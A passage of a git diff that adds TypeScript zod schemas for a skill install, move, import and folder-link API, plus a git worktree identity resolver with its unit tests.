+ .strict() satisfies StandardSchemaV1;
+export type SkillRevertSuccess = z.infer<typeof SkillRevertSuccessSchema>;
/** Success body for `DELETE /api/skill?name=<n>&scope=<s>`. */
export const SkillDeleteSuccessSchema = z
@@ -599,8 +700,89 @@ export const SkillMoveSuccessSchema = z
.strict() satisfies StandardSchemaV1;
export type SkillMoveSuccess = z.infer<typeof SkillMoveSuccessSchema>;
-/** A bundle file is a `reference` (under `references/`) or a `script` (under `scripts/`). */
-export const SkillFileKindSchema = z.enum(['reference', 'script']);
+/**
+ * Request body for `POST /api/skill/move-scope` — relocate a skill across
+ * scopes (project ↔ global), preserving its name. Unlike the within-scope
+ * rename (`POST /api/skill`), this is server-side atomic: the whole bundle dir
+ * is copied verbatim (binaries included), the source is deleted, and install
+ * projections are transferred — in ONE request. The old client-orchestrated
+ * copy+delete dance raced the live-doc bridge and could double a skill's
+ * content on a round-trip. `.strict()` rejects unknown keys.
+ */
+export const SkillMoveScopeRequestSchema = z
+ .object({
+ name: z.string(),
+ fromScope: SkillScopeSchema,
+ toScope: SkillScopeSchema,
+ ...agentIdentityFields,
+ summary: summaryField,
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillMoveScopeRequest = z.infer<typeof SkillMoveScopeRequestSchema>;
+
+/** Success body for `POST /api/skill/move-scope`. `scope` is the destination. */
+export const SkillMoveScopeSuccessSchema = z
+ .object({
+ scope: SkillScopeSchema,
+ /** Destination bundle dir, base-relative (the target scope's default
+ * skill home) — the moved skill's real location. */
+ path: z.string().optional(),
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillMoveScopeSuccess = z.infer<typeof SkillMoveScopeSuccessSchema>;
+
+/** Request body for `POST /api/skill/duplicate`. The server copies the complete
+ * bundle within one scope, including binary files, and rewrites only the
+ * duplicate's skill identity. */
+export const SkillDuplicateRequestSchema = z
+ .object({
+ scope: SkillScopeSchema,
+ name: z.string(),
+ toName: z.string(),
+ ...agentIdentityFields,
+ summary: summaryField,
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillDuplicateRequest = z.infer<typeof SkillDuplicateRequestSchema>;
+
+/** Success body for `POST /api/skill/duplicate`. */
+export const SkillDuplicateSuccessSchema = z
+ .object({
+ name: z.string().min(1),
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillDuplicateSuccess = z.infer<typeof SkillDuplicateSuccessSchema>;
+
+/**
+ * Request body for `POST /api/skill/edit-external` — register a detected
+ * (unmanaged) skill for in-place editing. `home` is the skill's own enumerated
+ * dir (`CatalogSkill.home`, e.g. `~/.claude/skills/<name>`); the server
+ * realpath-resolves it, verifies it holds a `SKILL.md`, and registers it so the
+ * `__extskill__/<name>` doc's continuous autosave-out writes back to the real
+ * file (containment-guarded). No copy, no symlink, no `.ok/` scaffolding.
+ * `.strict()` rejects unknown keys.
+ */
+export const SkillEditExternalRequestSchema = z
+ .object({
+ name: z.string(),
+ home: z.string().min(1),
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillEditExternalRequest = z.infer<typeof SkillEditExternalRequestSchema>;
+
+/** Success body for `POST /api/skill/edit-external` — the synthetic editable
+ * doc name the client opens as a normal editor tab. */
+export const SkillEditExternalSuccessSchema = z
+ .object({
+ docName: z.string().min(1),
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillEditExternalSuccess = z.infer<typeof SkillEditExternalSuccessSchema>;
+
+/** A bundle file is a `reference` (under `references/`), a `script` (under
+ * `scripts/`), or a plain `file` anywhere else in the bundle (root files,
+ * custom dirs — always fs-direct, `SKILL.md` excluded). */
+export const SkillFileKindSchema = z.enum(['reference', 'script', 'file']);
export type SkillFileKind = z.infer<typeof SkillFileKindSchema>;
/**
@@ -634,6 +816,39 @@ export const SkillFilePutSuccessSchema = z
.strict() satisfies StandardSchemaV1;
export type SkillFilePutSuccess = z.infer<typeof SkillFilePutSuccessSchema>;
+/**
+ * Request body for `POST /api/skill-file/rename` — rename/move ONE bundle file
+ * inside a skill (never `SKILL.md`, never an overwrite, never an escape — the
+ * server runs the same allowlist + containment gate as write/delete on BOTH
+ * paths). A project `.md` reference is a live CRDT content doc, so the server
+ * also moves the doc identity (close old, reindex under the new name) and the
+ * client retargets any open tab.
+ */
+export const SkillFileRenameRequestSchema = z
+ .object({
+ scope: SkillScopeSchema.default('project'),
+ name: z.string(),
+ from: z.string().min(1),
+ to: z.string().min(1),
+ ...agentIdentityFields,
+ summary: summaryField,
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillFileRenameRequest = z.infer<typeof SkillFileRenameRequestSchema>;
+
+/** Success body for `POST /api/skill-file/rename`. */
+export const SkillFileRenameSuccessSchema = z
+ .object({
+ from: z.string().min(1),
+ to: z.string().min(1),
+ /** Present for a project `.md` reference: the old + new live doc names the
+ * client should retarget an open tab across. */
+ fromDocName: z.string().optional(),
+ toDocName: z.string().optional(),
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillFileRenameSuccess = z.infer<typeof SkillFileRenameSuccessSchema>;
+
/** Success body for `GET /api/skill-file?name=&scope=&path=` — one file's bytes. */
export const SkillFileGetSuccessSchema = z
.object({
@@ -657,20 +872,188 @@ export type SkillFileDeleteSuccess = z.infer<typeof SkillFileDeleteSuccessSchema
/**
* Request body for `POST /api/skill/install` — project a skill's source into
* editor host dirs. `targets` is an optional explicit editor-id list; when
- * omitted the server projects to the project-configured editors. The
- * source is validated before any host write (pre-install gate). `.strict()`.
+ * omitted the server projects to the project-configured editors; when explicitly
+ * `[]`, install is set-exact to no editors, so it uninstalls everywhere while
+ * leaving the source skill in place. The source is validated before any host
+ * write (pre-install gate). `.strict()`.
*/
+/** An editor host id or the vendor-neutral `.agents/skills` hub — the
+ * non-path skill location ids. */
+export const SkillHostIdArgSchema = z.union([SkillTargetEditorSchema, z.literal('agents')]);
+export type SkillHostIdArg = z.infer<typeof SkillHostIdArgSchema>;
+
+/** A base-relative custom skills-root path (e.g. `.tim/skills`). Never
+ * absolute, never `~`, never escaping — and ALWAYS containing `/`, which is
+ * what distinguishes it from a host id, so `SkillLocationIdSchema` below is
+ * unambiguous. The same grammar guards folder verbs and custom placements. */
+export const SkillRootPathSchema = z
+ .string()
+ .min(1)
+ .refine((p) => !p.startsWith('/') && !p.startsWith('~') && !/^[A-Za-z]:/.test(p), {
+ error: 'a custom root is base-relative (e.g. ".tim/skills"), not absolute or ~-prefixed',
+ })
+ .refine((p) => p.split('/').every((seg) => seg !== '' && seg !== '.' && seg !== '..'), {
+ error: 'a custom root may not contain "..", "." or empty path segments',
+ })
+ .refine((p) => p.includes('/'), {
+ error: 'a custom root is a path (e.g. ".tim/skills") — bare editor names are host ids',
+ });
+
+/** ONE location vocabulary for everywhere a skill can live or be fanned to:
+ * `claude` | `cursor` | `codex` | `copilot` | `opencode` | `pi` | `agents`
+ * | a base-relative custom root path (`.tim/skills`). Host ids never contain
+ * `/`; custom roots always do. */
+export const SkillLocationIdSchema = z.union([SkillHostIdArgSchema, SkillRootPathSchema]);
+export type SkillLocationId = z.infer<typeof SkillLocationIdSchema>;
+
export const SkillInstallRequestSchema = z
.object({
scope: SkillScopeSchema.default('project'),
name: z.string(),
- targets: z.array(SkillTargetEditorSchema).optional().meta({
- description: 'Explicit editor ids to install into; omit to use project-configured editors.',
+ targets: z.array(SkillHostIdArgSchema).optional().meta({
+ description:
+ 'SET-EXACT install targets (editor ids, plus "agents" for the .agents hub — in-place skills only): the COMPLETE resulting host set. Omit to use project-configured editors; pass [] to uninstall everywhere. Stateless callers should prefer `add`/`remove`.',
}),
+ /** ADDITIVE: locations to add the skill to — everything else untouched.
+ * Editor ids fan out a managed copy/symlink; a custom root path records
+ * a placement there (the old `place` one-shot, unified). */
+ add: z.array(SkillLocationIdSchema).optional().meta({
+ description:
+ 'Locations to ADD the skill to (everything else untouched). Editor ids fan out a managed copy/symlink; a custom root path (".tim/skills") places the bundle there.',
+ }),
+ /** ADDITIVE: locations to remove the skill from. Lossless only — a
+ * hand-edited fork is refused, never deleted; removing the SOURCE is a
+ * 400 (move it first via `source`). */
+ remove: z.array(SkillLocationIdSchema).optional().meta({
+ description:
+ 'Locations to REMOVE the skill from (lossless only — a hand-edited fork is refused, never deleted). The source cannot be removed; move it first with `source`.',
+ }),
+ /** The form THIS call installs, the `linkMode` boolean respelled for
+ * location callers: `link` = one real folder (the source) + symlinks
+ * everywhere else; `copy` = independent folders auto-refreshed until
+ * hand-edited. Not persisted — omit it and the form is derived from the
+ * ones the skill already uses. */
+ mode: z.enum(['copy', 'link']).optional().meta({
+ description:
+ '"link": one real folder (the source); every other location becomes a symlink to it. "copy": independent real folders, refreshed from the source until hand-edited (a hand-edit forks that copy). Converts existing locations losslessly. Omit to follow the form the skill already uses.',
+ }),
+ /** One-shot SOURCE move respelled for location callers (≡ `setSource`):
+ * relocate the skill's real folder; the old source becomes a symlink. */
+ source: SkillLocationIdSchema.optional().meta({
+ description:
+ "Move the skill's REAL folder to this location (the old source becomes a symlink to it — never a removal). Sticky across rescans.",
+ }),
+ /** One-shot CUSTOM placement (project scope): put a copy or symlink of the
+ * skill bundle under an arbitrary project-relative dir. Mutually exclusive
+ * with `targets` semantics — when present, ONLY the placement runs. */
+ /** The form THIS call installs, as a boolean: `true` = editor fan-out
+ * symlinks to the canonical, `false` = copies. Omitted = derive from the
+ * forms the skill's existing locations use. `mode` is the same knob
+ * spelled for location callers. */
+ linkMode: z.boolean().optional(),
+ /** One-shot SOURCE move (in-place skills): make this location the skill's
+ * real folder. An editor id, "agents", or a project-relative custom
+ * skills-root path (e.g. ".ok/skills") holding a placement. Sticky. */
+ setSource: z.string().min(1).optional(),
+ place: z
+ .object({
+ dir: z.string().min(1).meta({
+ description:
+ 'Project-relative directory the bundle dir is created under (e.g. ".windsurf/skills").',
+ }),
+ mode: z.enum(['copy', 'link']),
+ })
+ .strict()
+ .optional(),
+ /** One-shot PER-LOCATION mode change: convert ONE installed location
+ * between an independent copy and a symlink to the source, leaving every
+ * sibling location alone. `mode` converts every location at once; this
+ * converts one row. Lossless-only — a hand-edited copy is refused, never
+ * overwritten. */
+ convert: z
+ .object({
+ target: SkillLocationIdSchema.meta({
+ description:
+ 'The installed location to convert — an editor id, "agents", or a recorded custom placement path.',
+ }),
+ mode: z.enum(['copy', 'link']).meta({
+ description:
+ '"link": replace this location with a symlink to the source. "copy": replace it with an independent real folder.',
+ }),
+ })
+ .strict()
+ .optional(),
+ /** One-shot REMOVAL of a recorded custom placement (the inverse of `place`).
+ * Lossless-only: a hand-edited copy is refused, never deleted. */
+ unplace: z
+ .object({
+ path: z.string().min(1).meta({
+ description: 'The recorded placement bundle path (e.g. ".windsurf/skills/my-skill").',
+ }),
+ })
+ .strict()
+ .optional(),
...agentIdentityFields,
summary: summaryField,
+ /**
+ * Fork resolution (same name, DIFFERENT bytes, in an editor dir that lost
+ * the canonical election). Exactly one action:
+ * - `align`: the fork loses — its dir is stashed out-of-tree, then the
+ * canonical re-projects there (they re-merge as one skill).
+ * - `make-source`: the fork wins — the old canonical (stashed) + its
+ * copies are removed and re-projected from the fork's dir, which
+ * becomes the source.
+ * - `rename`: keep BOTH — the fork's dir moves to `toName` (frontmatter
+ * name rewritten in lock-step) and becomes an independent skill.
+ */
+ fork: z
+ .object({
+ editor: z.string().min(1),
+ action: z.enum(['align', 'make-source', 'rename']),
+ toName: z.string().optional(),
+ })
+ .strict()
+ .optional(),
})
- .strict() satisfies StandardSchemaV1;
+ .strict()
+ .refine((b) => !(b.targets !== undefined && (b.add !== undefined || b.remove !== undefined)), {
+ error: '`targets` is set-exact; `add`/`remove` are additive — use one style per call',
+ })
+ .refine(
+ (b) =>
+ b.fork === undefined ||
+ (b.targets === undefined &&
+ b.add === undefined &&
+ b.remove === undefined &&
+ b.source === undefined &&
+ b.setSource === undefined),
+ { error: '`fork` is its own operation — run it in a separate call' },
+ )
+ .refine((b) => b.fork?.action !== 'rename' || b.fork.toName !== undefined, {
+ error: '`fork.rename` requires `toName`',
+ })
+ .refine((b) => !(b.source !== undefined && (b.add !== undefined || b.remove !== undefined)), {
+ error: 'a `source` move is its own operation — run it in a separate call from `add`/`remove`',
+ })
+ // The handler is a first-match-wins chain of early returns, so a request
+ // naming two operations silently performs one and drops the other with a 200
+ // and an unchanged-looking `hosts`. Make the combination unrepresentable
+ // rather than relying on callers to know the precedence order.
+ .refine(
+ (b) =>
+ [
+ b.targets !== undefined || b.add !== undefined || b.remove !== undefined,
+ b.place !== undefined,
+ b.unplace !== undefined,
+ b.convert !== undefined,
+ b.source !== undefined || b.setSource !== undefined,
+ b.fork !== undefined,
+ ].filter(Boolean).length <= 1,
+ {
+ error:
+ 'one operation per call — membership (`targets`/`add`/`remove`), `place`, `unplace`, `convert`, `source`, and `fork` are mutually exclusive',
+ },
+ ) satisfies StandardSchemaV1;
export type SkillInstallRequest = z.infer<typeof SkillInstallRequestSchema>;
/**
@@ -686,16 +1069,47 @@ export type SkillInstallRequest = z.infer<typeof SkillInstallRequestSchema>;
* `scripts/`) instead of substring-matching the English message, which is
* fragile. `warnings[i]` is the display text for `warningCodes[i]`.
*/
-export const SKILL_INSTALL_WARNING_CODES = ['no-targets', 'scripts-present'] as const;
+export const SKILL_INSTALL_WARNING_CODES = [
+ 'no-targets',
+ 'scripts-present',
+ 'name-conflict',
+ // The skill installed but has an empty `description` — a soft nudge, never a
+ // block. Clients surface it as an advisory, not a failure.
+ 'no-description',
+ // A fork rename moved the folder but could not rewrite the `name` in its
+ // SKILL.md, so the skill is left declaring its old name. The rename is not
+ // rolled back — the caller is told to fix the frontmatter.
+ 'skill-fork-name-unpatched',
+ // A bulk `add`/`remove` named a location that is not a placeable root at all
+ // (outside the project, inside `.ok/` internals, or the source itself). The
+ // single-shot `place` verb returns 400 for the same condition.
+ 'place-path-invalid',
+ // A bulk `remove` found a hand-edited copy at the location. It is refused,
+ // never deleted — the single-shot `unplace` verb returns 409 for this.
+ 'place-fork-refused',
+] as const;
export type SkillInstallWarningCode = (typeof SKILL_INSTALL_WARNING_CODES)[number];
export const SkillInstallSuccessSchema = z
.object({
- name: z.string().min(1),
- hosts: z.array(z.string()),
- scripts: z.boolean(),
- warnings: z.array(z.string()),
- warningCodes: z.array(z.enum(SKILL_INSTALL_WARNING_CODES)),
+ name: z.string().min(1).meta({ description: 'Managed skill name installed or uninstalled.' }),
+ hosts: z.array(z.string()).meta({
+ description:
+ 'Editor ids the skill is projected into after the operation; [] is expected after uninstall.',
+ }),
+ scripts: z.boolean().meta({
+ description: 'True when the skill ships executable scripts, projected but never run.',
+ }),
+ warnings: z
+ .array(z.string())
+ .meta({ description: 'Non-fatal install/uninstall warnings from target projection.' }),
+ warningCodes: z
+ .array(z.enum(SKILL_INSTALL_WARNING_CODES))
+ .meta({ description: 'Machine-readable warning codes aligned with `warnings`.' }),
+ /** Project-relative bundle dir a custom `place` landed at. */
+ placedAt: z.string().optional(),
+ /** Set when unchecking the SOURCE relocated it — the new source bundle dir. */
+ sourceMovedTo: z.string().optional(),
})
.strict() satisfies StandardSchemaV1;
export type SkillInstallSuccess = z.infer<typeof SkillInstallSuccessSchema>;
@@ -703,13 +1117,15 @@ export type SkillInstallSuccess = z.infer<typeof SkillInstallSuccessSchema>;
/**
* Request body for `POST /api/skill/uninstall` — remove a skill's editor-host
* projections + drop its install-marker entry, leaving the SOURCE intact (the
- * skill demotes to Draft). A local-op like install, not an attributed content
+ * skill still loads from its own folder). A local-op like install, not an attributed content
* mutation; no identity fields. `.strict()`.
*/
export const SkillUninstallRequestSchema = z
.object({
scope: SkillScopeSchema.default('project'),
- name: z.string(),
+ name: z
+ .string()
+ .meta({ description: 'Managed skill name to uninstall without deleting source.' }),
})
.strict() satisfies StandardSchemaV1;
export type SkillUninstallRequest = z.infer<typeof SkillUninstallRequestSchema>;
@@ -721,8 +1137,11 @@ export type SkillUninstallRequest = z.infer<typeof SkillUninstallRequestSchema>;
*/
export const SkillUninstallSuccessSchema = z
.object({
- name: z.string().min(1),
- uninstalled: z.boolean(),
+ name: z.string().min(1).meta({ description: 'Managed skill name requested for uninstall.' }),
+ uninstalled: z.boolean().meta({
+ description:
+ 'True when an install marker existed and was removed; false for an idempotent no-op.',
+ }),
})
.strict() satisfies StandardSchemaV1;
export type SkillUninstallSuccess = z.infer<typeof SkillUninstallSuccessSchema>;
@@ -739,10 +1158,84 @@ export const SkillTargetsGetSuccessSchema = z
.object({
targets: z.array(SkillTargetEditorSchema),
configured: z.boolean(),
+ /** Folder-level state per host skills root, BOTH scopes (locked
+ * locations-menu design, slice 2): `own` = a real folder, `linked` = the
+ * folder is a symlink to `target`, `linked-parent` = a parent dir is the
+ * symlink (report-only; unlink the parent by hand), `absent` = no folder. */
+ folders: z
+ .array(
+ z
+ .object({
+ scope: SkillScopeSchema,
+ host: z.string(),
+ root: z.string(),
+ state: z.enum(['own', 'linked', 'linked-parent', 'absent']),
+ target: z.string().optional(),
+ /** Passive drift: OK's folder-link receipt disagrees with disk
+ * (something outside OK rewrote the folder since OK set it). */
+ drift: z.literal(true).optional(),
+ /** The recorded expected form, for the chip tooltip
+ * (`link → <target>` | `own folder`). */
+ expected: z.string().optional(),
+ })
+ .strict(),
+ )
+ .optional(),
})
.strict() satisfies StandardSchemaV1;
export type SkillTargetsGetSuccess = z.infer<typeof SkillTargetsGetSuccessSchema>;
+/**
+ * Folder-level verbs over a host skills folder (the Settings → Folders
+ * surface, and the MCP `config` tool's `skillFolders` arg). One action per
+ * request:
+ * - `link` — merge the folder into an explicitly chosen `target` root and
+ * replace it with a symlink (merge-then-swap; same-hash entries drop,
+ * conflicts abort, an interrupted merge is resumable by re-running).
+ * No target is ever assumed — it is a required caller pick.
+ * - `unlink` — turn a linked folder back into a real directory holding one
+ * per-skill symlink per skill it currently sees (lossless, reversible).
+ * - `add-root` — declare a NEW custom skills root; it becomes a folder row
+ * and a link/install target from declaration (no first placement needed).
+ */
+export const SkillFolderActionSchema = z.discriminatedUnion('action', [
+ z
+ .object({
+ action: z.literal('link'),
+ scope: SkillScopeSchema,
+ root: z.string().min(1).meta({ description: 'The folder to link (e.g. ".codex/skills").' }),
+ target: z
+ .string()
+ .min(1)
+ .meta({ description: 'The root it merges into (e.g. ".agents/skills"). Required.' }),
+ })
+ .strict(),
+ z
+ .object({
+ action: z.literal('unlink'),
+ scope: SkillScopeSchema,
+ root: z.string().min(1).meta({ description: 'The linked folder to materialize back.' }),
+ /** Skill names to leave out of the materialized links — "stop this
+ * agent reading that skill": the folder keeps everything else it sees
+ * today but stops following the target root. */
+ exclude: z.array(z.string().min(1)).optional().meta({
+ description:
+ 'Skill names to LEAVE OUT when materializing — the folder keeps every other skill it currently sees (as per-skill links) and stops auto-following the target root.',
+ }),
+ })
+ .strict(),
+ z
+ .object({
+ action: z.literal('add-root'),
+ scope: SkillScopeSchema,
+ root: SkillRootPathSchema.meta({
+ description: 'New custom skills root to declare (base-relative, e.g. ".team/skills").',
+ }),
+ })
+ .strict(),
+]);
+export type SkillFolderAction = z.infer<typeof SkillFolderActionSchema>;
+
/**
* Request body for `PUT /api/skill-targets` — set the committed target set.
* A user/UI action (not agent-attributed), so no identity fields. Changing
@@ -750,7 +1243,7 @@ export type SkillTargetsGetSuccess = z.infer<typeof SkillTargetsGetSuccessSchema
*/
export const SkillTargetsPutRequestSchema = z
.object({
- targets: z.array(SkillTargetEditorSchema),
+ folderAction: SkillFolderActionSchema,
})
.strict() satisfies StandardSchemaV1;
export type SkillTargetsPutRequest = z.infer<typeof SkillTargetsPutRequestSchema>;
@@ -767,6 +1260,15 @@ export const SkillTargetsPutSuccessSchema = z
reprojected: z.array(z.object({ name: z.string(), hosts: z.array(z.string()) }).strict()),
bundleHosts: z.array(z.string()),
removedFrom: z.array(z.string()),
+ /** Folder-verb outcome (present when the request carried `folderAction`). */
+ folder: z
+ .object({
+ moved: z.array(z.string()),
+ dropped: z.array(z.string()),
+ linked: z.array(z.string()),
+ })
+ .strict()
+ .optional(),
})
.strict() satisfies StandardSchemaV1;
export type SkillTargetsPutSuccess = z.infer<typeof SkillTargetsPutSuccessSchema>;
@@ -1005,3 +1507,141 @@ export type SkillInstallStateSuccess = z.infer<typeof SkillInstallStateSuccessSc
// moved to `./sync-seed.ts` to colocate with `InstallSkillRequestSchema`
// (per the codebase convention of pairing request + success schemas in the
// same cluster file).
+
+/**
+ * Request body for `POST /api/skill/import` — acquire a skill as versioned
+ * content from `source` (a remote/local spec: skills.sh URL,
+ * `owner/repo[/subpath]`, git URL, or local/`file://` path). `skill`
+ * cherry-picks one skill from a multi-skill source. `.strict()`.
+ */
+export const SkillImportRequestSchema = z
+ .object({
+ scope: SkillScopeSchema.default('project'),
+ source: z.string().min(1).meta({
+ description:
+ 'External skill source: full skills.sh skill-page URL (https://www.skills.sh/<publisher>/skills/<skill>), GitHub owner/repo[/subpath], git URL, or local/file path.',
+ }),
+ skill: z
+ .string()
+ .min(1)
+ .optional()
+ .meta({ description: 'Specific skill name to import from a multi-skill source.' }),
+ install: z.boolean().optional().meta({
+ description:
+ 'Pass false to import WITHOUT the default-editor auto-projection (the caller installs explicitly afterwards). Default true.',
+ }),
+ ...agentIdentityFields,
+ summary: summaryField,
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillImportRequest = z.infer<typeof SkillImportRequestSchema>;
+
+/**
+ * Ceiling on one bulk-import call. Sized well above the largest plugin repos
+ * seen in the wild (~40 skills) and far below anything that would hold a request
+ * open for minutes — the cap is what keeps "install the whole plugin" bounded.
+ */
+export const SKILLS_IMPORT_BULK_MAX = 100;
+
+/**
+ * Request body for `POST /api/skills/import-bulk` — acquire SEVERAL skills from
+ * one `source` in a SINGLE shallow clone (the plugin-repo case: one repo
+ * bundling dozens of skills, where one request per skill re-clones the same
+ * repo every time). `skills` names them exactly, matched the same way the
+ * single import matches `skill` (dir basename or SKILL.md frontmatter `name`).
+ * There is deliberately no "import everything" flag: the caller picks, so
+ * nobody lands 40 unreviewed skills from one click. `.strict()`.
+ */
+export const SkillsImportBulkRequestSchema = z
+ .object({
+ scope: SkillScopeSchema.default('project'),
+ source: z.string().min(1).meta({
+ description:
+ 'External skill source: full skills.sh skill-page URL, GitHub owner/repo[/subpath], git URL, or local/file path.',
+ }),
+ skills: z
+ .array(z.string().min(1))
+ .min(1)
+ .max(SKILLS_IMPORT_BULK_MAX)
+ .meta({ description: 'Skill names to import from the source.' }),
+ install: z.boolean().optional().meta({
+ description: 'Pass false to import WITHOUT the default-editor auto-projection. Default true.',
+ }),
+ ...agentIdentityFields,
+ summary: summaryField,
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillsImportBulkRequest = z.infer<typeof SkillsImportBulkRequestSchema>;
+
+/**
+ * One row of a bulk import. `status` is per-skill so a bundle that trips the
+ * size limits, or a name that isn't in the source, never fails the rest of the
+ * selection: `imported` wrote files, `already-imported` matched an identical
+ * bundle already present, `not-found` wasn't in the source, `failed` carries the
+ * reason in `error`.
+ */
+export const SkillImportBulkResultSchema = z
+ .object({
+ requested: z.string(),
+ status: z.enum(['imported', 'already-imported', 'not-found', 'failed']),
+ /** On-disk name — differs from `requested` on a collision rename. */
+ name: z.string().optional(),
+ collisionRenamedFrom: z.string().optional(),
+ warnings: z.array(z.string()),
+ error: z.string().optional(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillImportBulkResult = z.infer<typeof SkillImportBulkResultSchema>;
+
+/** Success body for `POST /api/skills/import-bulk`. Always 200: the per-skill
+ * outcomes ride `results`, and the counts are what the caller reports. */
+export const SkillsImportBulkSuccessSchema = z
+ .object({
+ results: z.array(SkillImportBulkResultSchema),
+ imported: z.number(),
+ alreadyImported: z.number(),
+ failed: z.number(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillsImportBulkSuccess = z.infer<typeof SkillsImportBulkSuccessSchema>;
+
+/** Provenance recorded for an imported skill (mirrors the lockfile entry). */
+export const SkillImportProvenanceSchema = z
+ .object({
+ source: z.string(),
+ ref: z.string().optional(),
+ contentHash: z.string(),
+ publisher: z.string().optional(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillImportProvenance = z.infer<typeof SkillImportProvenanceSchema>;
+
+/**
+ * Success body for `POST /api/skill/import`. `name` is the on-disk skill name
+ * (may differ from the source name when a collision forced an `-imported`
+ * suffix — then `collisionRenamedFrom` carries the original). `path` is
+ * store-relative. `alreadyImported` is true when an identical bundle (same
+ * `contentHash`) was already present and the import was a no-op.
+ */
+export const SkillImportSuccessSchema = z
+ .object({
+ name: z.string().min(1).meta({ description: 'Managed skill name created or matched.' }),
+ path: z
+ .string()
+ .min(1)
+ .meta({ description: 'Store-relative path to the imported skill source.' }),
+ created: z.boolean().meta({ description: 'True when this request created new source files.' }),
+ alreadyImported: z.boolean().meta({
+ description: 'True when identical content was already present and no files changed.',
+ }),
+ collisionRenamedFrom: z
+ .string()
+ .optional()
+ .meta({ description: 'Original source name when collision handling renamed the import.' }),
+ provenance: SkillImportProvenanceSchema,
+ warnings: z
+ .array(z.string())
+ .meta({ description: 'Non-fatal import warnings, such as skipped unsupported files.' }),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillImportSuccess = z.infer<typeof SkillImportSuccessSchema>;
diff --git a/packages/core/src/shadow-repo-layout.test.ts b/packages/core/src/shadow-repo-layout.test.ts
index 560e6793b..fe80e35e3 100644
--- a/packages/core/src/shadow-repo-layout.test.ts
+++ b/packages/core/src/shadow-repo-layout.test.ts
@@ -28,6 +28,7 @@ import {
parseWriterId,
readContributors,
resolveGitDir,
+ resolveProjectIdentity,
resolveShadowDir,
} from './shadow-repo-layout.ts';
@@ -1612,3 +1613,41 @@ describe('composeCommitSubject — line-terminator stripping (commit-injection g
expect(subject.split('\n').length).toBe(1);
});
});
+
+describe('resolveProjectIdentity', () => {
+ test('re-anchors a linked worktree onto its main-worktree root', () => {
+ const main = resolve(tmp, 'main');
+ const adminDir = resolve(main, '.git', 'worktrees', 'wt');
+ mkdirSync(adminDir, { recursive: true });
+ // commondir points from the per-worktree admin dir back at the shared `.git`.
+ writeFileSync(resolve(adminDir, 'commondir'), '../..\n');
+ const wt = resolve(tmp, 'wt');
+ mkdirSync(wt, { recursive: true });
+ writeFileSync(resolve(wt, '.git'), `gitdir: ${adminDir}\n`);
+
+ // Bit-identical to the main checkout's own identity (not the worktree path).
+ expect(resolveProjectIdentity(wt)).toBe(main);
+ });
+
+ test('leaves a main worktree (real `.git` dir) unchanged', () => {
+ const main = resolve(tmp, 'main');
+ mkdirSync(resolve(main, '.git'), { recursive: true });
+ expect(resolveProjectIdentity(main)).toBe(main);
+ });
+
+ test('leaves a non-git dir unchanged', () => {
+ const plain = resolve(tmp, 'plain');
+ mkdirSync(plain, { recursive: true });
+ expect(resolveProjectIdentity(plain)).toBe(plain);
+ });
+
+ test('degrades to the raw worktree path when commondir is unreadable', () => {
+ const main = resolve(tmp, 'main');
+ const adminDir = resolve(main, '.git', 'worktrees', 'wt');
+ mkdirSync(adminDir, { recursive: true }); // no commondir file written
+ const wt = resolve(tmp, 'wt');
+ mkdirSync(wt, { recursive: true });
+ writeFileSync(resolve(wt, '.git'), `gitdir: ${adminDir}\n`);
+ expect(resolveProjectIdentity(wt)).toBe(wt);
+ });
+});
diff --git a/packages/core/src/shadow-repo-layout.ts b/packages/core/src/shadow-repo-layout.ts
index f7cfcec67..ded2e09dd 100644
--- a/packages/core/src/shadow-repo-layout.ts
+++ b/packages/core/src/shadow-repo-layout.ts
@@ -36,8 +36,8 @@
* This file uses only `node:fs` (no other server/runtime deps) so it is safe
* to include from any workspace package.
*/
-import { existsSync } from 'node:fs';
-import { resolve, sep } from 'node:path';
+import { existsSync, readFileSync } from 'node:fs';
+import { dirname, join, resolve, sep } from 'node:path';
import { fnv1aDigest } from './bridge/hash-util.ts';
import { discoverGitRepository } from './git-repository.ts';
@@ -883,3 +883,35 @@ export function parseWriterId(id: string): ParsedWriter {
// Unreachable given the regex, but keeps the type narrowing honest.
return { id, classification: 'unknown', isAgent: null };
}
+
+/**
+ * Resolve a project directory to a STABLE project identity for detected-skill
+ * project-scoping. A linked git worktree has its own absolute root, which
+ * matches ZERO of Claude's `installed_plugins.json` records (those key on the
+ * parent checkout's path) — so scoping detected skills against the raw worktree
+ * path drops the parent's project skills. Re-anchor a linked worktree onto its
+ * main-worktree root (the admin dir's `commondir` file points back at the shared
+ * `.git`; its parent is the main work tree) and re-apply `projectSubPath` for
+ * the subtree-rooted case, yielding an identity bit-identical to the main
+ * checkout's. Main worktrees, non-git dirs, and unusable `.git` states resolve
+ * to the input path unchanged.
+ *
+ * Only ONE operand is resolvable here — the recorded `projectPath` may be a
+ * foreign or vanished path — so the caller normalizes its OWN `projectDir` to
+ * this identity before the exact `samePath` compare in `isDetectedSkillInProject`.
+ */
+export function resolveProjectIdentity(projectDir: string): string {
+ const detail = resolveGitDirDetailed(projectDir);
+ if (detail.kind !== 'linked') return resolve(projectDir);
+ try {
+ const commondir = readFileSync(join(detail.path, 'commondir'), 'utf-8').trim();
+ if (commondir === '') return resolve(projectDir);
+ const mainRoot = dirname(resolve(detail.path, commondir));
+ return resolve(mainRoot, detail.projectSubPath);
+ } catch {
+ // Unreadable/absent commondir (corrupt worktree admin) — degrade to the raw
+ // path. Same net effect as pre-normalization: the parent's project skills
+ // stay dropped, but nothing else leaks in. No worse than a main checkout.
+ return resolve(projectDir);
+ }
+}
diff --git a/packages/core/src/skill-targets/schema.test.ts b/packages/core/src/skill-targets/schema.test.ts
index eec933652..8eb101f5c 100644
--- a/packages/core/src/skill-targets/schema.test.ts
+++ b/packages/core/src/skill-targets/schema.test.ts
@@ -1,6 +1,6 @@
import { describe, expect, test } from 'vitest';
